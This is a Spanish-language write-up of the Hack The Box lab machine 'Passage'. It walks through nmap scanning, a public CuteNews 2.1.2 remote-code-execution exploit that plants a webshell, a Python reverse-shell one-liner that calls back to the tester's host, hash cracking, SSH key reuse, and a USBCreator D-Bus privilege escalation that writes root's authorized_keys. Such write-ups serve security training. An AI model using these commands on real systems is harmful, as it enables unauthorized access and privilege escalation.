This page looks best with JavaScript enabled

Hack The Box - Passage

 •  ✍️ sckull

Passage es una maquina de HackTheBox descubrimos CuteNews en donde encontramos credenciales codificadas en base64->MD5, además ejecutamos una shell inversa para tener acceso. Crackeamos los hashes encontrados para acceder al siguiente usuario. Encontramos la clave publica ya registrada en authorized_keys lo que nos dio acceso a otro usuario. Tras enumerar los archivos y procesos encontramos USBCreator D-Bus Interface que además descubrimos que puede crear archivos como root lo que aprovechamos para registrar nuestra clave publica en los archivos SSH de root para obtener privilegios como root.

Informacion de la Maquina

Nombre Passage box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.206
Maker

ChefByzen

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 6.4, 6.7, 3.3, 3.6],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[5, 10, 8, 2, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.80 scan initiated Fri Sep 25 01:31:49 2020 as: nmap -Pn -p- --min-rate 1000 -oN allports 10.10.10.206
Warning: 10.10.10.206 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.206 (10.10.10.206)
Host is up (0.11s latency).
Not shown: 63942 closed ports, 1591 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri Sep 25 01:34:10 2020 -- 1 IP address (1 host up) scanned in 140.93 seconds

# Nmap 7.80 scan initiated Fri Sep 25 01:34:44 2020 as: nmap -p22,80 -sC -sV -o serviceAllports 10.10.10.206
Nmap scan report for 10.10.10.206 (10.10.10.206)
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 25 01:34:55 2020 -- 1 IP address (1 host up) scanned in 10.77 seconds

HTTP

Encontramos una pagina web en el puerto 80.

Al intentar realizar una busqueda directorios y paginas con gobuster parecia que la maquina habia caido, pero segun un post de la pagina tienen implementado fail2ban, por lo que al utilizar herramientas como gobuster o hydra, fail2ban banea nuestra IP por algun tiempo.

CUTE NEWS - RCE

Explorando la pagina encontramos en el footer de esta el nombre de lo que parece ser un CMS, al investigar un poco acerca de este nombre encontramos un exploit CuteNews 2.1.2 - Remote Code Execution.

Segun el codigo del exploit realiza una consulta a /CuteNews/cdata/users/lines donde se almacenan en base64 las credenciales de usuarios, verificamos que esta direccion exista en esta version de CMS y vemos la lista de usuarios codificados.

El exploit al tener las credenciales realiza un cambio del “avatar” del usuario encontrado con una webshell dentro lo que permite ejecutar comandos en la maquina. Para ello descargamos y ejecutamos el exploit, logrando ejecutar comandos como usuario www-data y ver algunos hashes de los usuarios registrados en el CMS.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
kali@kali:~/htb/passage$ python3 CuteNews-2.1.2-RCE.py 



           _____     __      _  __                     ___   ___  ___ 
          / ___/_ __/ /____ / |/ /__ _    _____       |_  | <  / |_  |
         / /__/ // / __/ -_)    / -_) |/|/ (_-<      / __/_ / / / __/ 
         \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/ 
                                ___  _________                        
                               / _ \/ ___/ __/                        
                              / , _/ /__/ _/                          
                             /_/|_|\___/___/                          
                                                                      

                                                                                                                                                   

[->] Usage python3 expoit.py

Enter the URL> http://10.10.10.206 
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================

=============================
Registering a users
=============================
[+] Registration successful with username: 8g9Nqx6ATg and password: 8g9Nqx6ATg

=======================================================
Sending Payload
=======================================================
signature_key: 2e4f7658cee281341e4f5f36f776847b-8g9Nqx6ATg
signature_dsi: 2c0343d390fbd41777bd7c348ba74773
logged in user: 8g9Nqx6ATg
============================
Dropping to a SHELL
============================

command > whoami
www-data

command >

Para tener una shell más comoda ejecutamos una shell inversa con python:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.30",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PAUL - USER

Una vez dentro con una shell más comoda realizamos una enumeracion en la maquina pero no encontramos nada más que solo los usuarios de la maquina: paul y nadav, pero recordemos, encontramos algunos hashes (SHA256), utilizamos John y rockyou.txt para obtener algunas contraseñas.

1
2
3
4
5
6
#HASHES
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc

O de la manera facil utilizando CrackStation.

Una vez con las contraseñas intentamos cambiar de usuario con estas, logramos obtener una shell con el usuario Paul y nuestra flag user.txt.

NADAV - USER

Realizamos una enumeracion con este usuario y esta vez encontramos en el archivo authorized_keys la clave publica (id_rsa.pub) de nadav, por lo que este usuario puede conectarse desde su cuenta a la nuestra (paul), si ese es el caso quizas nosotros tambien a la suya.

1
2
3
4
paul@passage:~/.ssh$ cat auth*
cat auth*
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
paul@passage:~/.ssh$

Nos conectamos mediante SSH en localhost con este usuario para comprobar que nuestro usuario (paul) tambien tenga acceso al usuario nadav. Lo cual pudimos confirmar y ahora tenemos una shell con nadav.

PRIVILEGE ESCALATION

Realizamos una enumeracion en la carpeta de nadav y encontramos algo interesante en el archivo .viminfo y es que uno de los archivos que fue editado con vim es /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf. Investigamos un poco acerca de este archivo y encontramos que es posible crear archivos como usuario root utilizando USBCreator D-Bus interface lo que podria ayudarnos a escalar privilegios. Para ello verificamos que usb-creator-helper este siendo ejecutado con el usuario root.

1
2
3
4
5
nadav@passage:~$ ps -ef |grep usb-creator
ps -ef |grep usb-creator
root       1992      1  0 01:04 ?        00:00:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper
nadav      2825   2741  0 01:43 pts/20   00:00:00 grep --color=auto usb-creator
nadav@passage:~$

Ahora vamos a crear un archivo en la direccion / con un archivo temporal en /tmp/test.txt y vemos que el archivo se creo en /test.txt.

1
2
3
4
5
6
7
8
9
nadav@passage:~$ echo -n "USBCreator D-Bus interface" > /tmp/test.txt
echo -n "USBCreator D-Bus interface" > /tmp/test.txt
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/test.txt /test.txt true
<method com.ubuntu.USBCreator.Image /tmp/test.txt /test.txt true             
()
nadav@passage:~$ ls -lah /test.txt
ls -lah /test.txt
-rw-r--r-- 1 root root 26 Sep 25 01:47 /test.txt
nadav@passage:~$

Para obtener una shell con usuario root vamos a crear el archivo authorized_keys en la carpeta /root/.ssh/ y asi vamos a poder acceder a este usuario mediante SSH de la misma forma que con nadav. Primero vamos a copiar el archivo id_rsa.pub del usuario actual a /tmp/authorized_keys, luego creamos el archivo:

1
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /tmp/authorized_keys /root/.ssh/authorized_keys true

Nos conectamos por medio de SSH y logramos obtener una shell y nuestra flag root.txt.

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe